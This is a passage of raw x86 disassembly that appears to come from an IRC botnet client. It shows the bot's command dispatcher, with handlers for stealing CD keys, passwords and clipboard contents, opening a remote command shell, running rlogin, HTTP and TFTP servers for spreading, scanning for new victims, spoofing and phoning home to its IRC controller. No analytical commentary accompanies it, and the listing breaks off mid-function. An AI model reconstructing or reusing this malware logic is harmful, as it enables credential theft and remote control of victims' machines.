		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1C4
		push	offset dword_42C1B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1B4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C16C
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C138
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C090
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C020
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42BFE4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315EA
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431408


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2690DCCh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEE8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE90
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42BE20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	near ptr 2690000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42BDA8


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42BD30
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD0C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB4


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC90
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC64
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC30
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
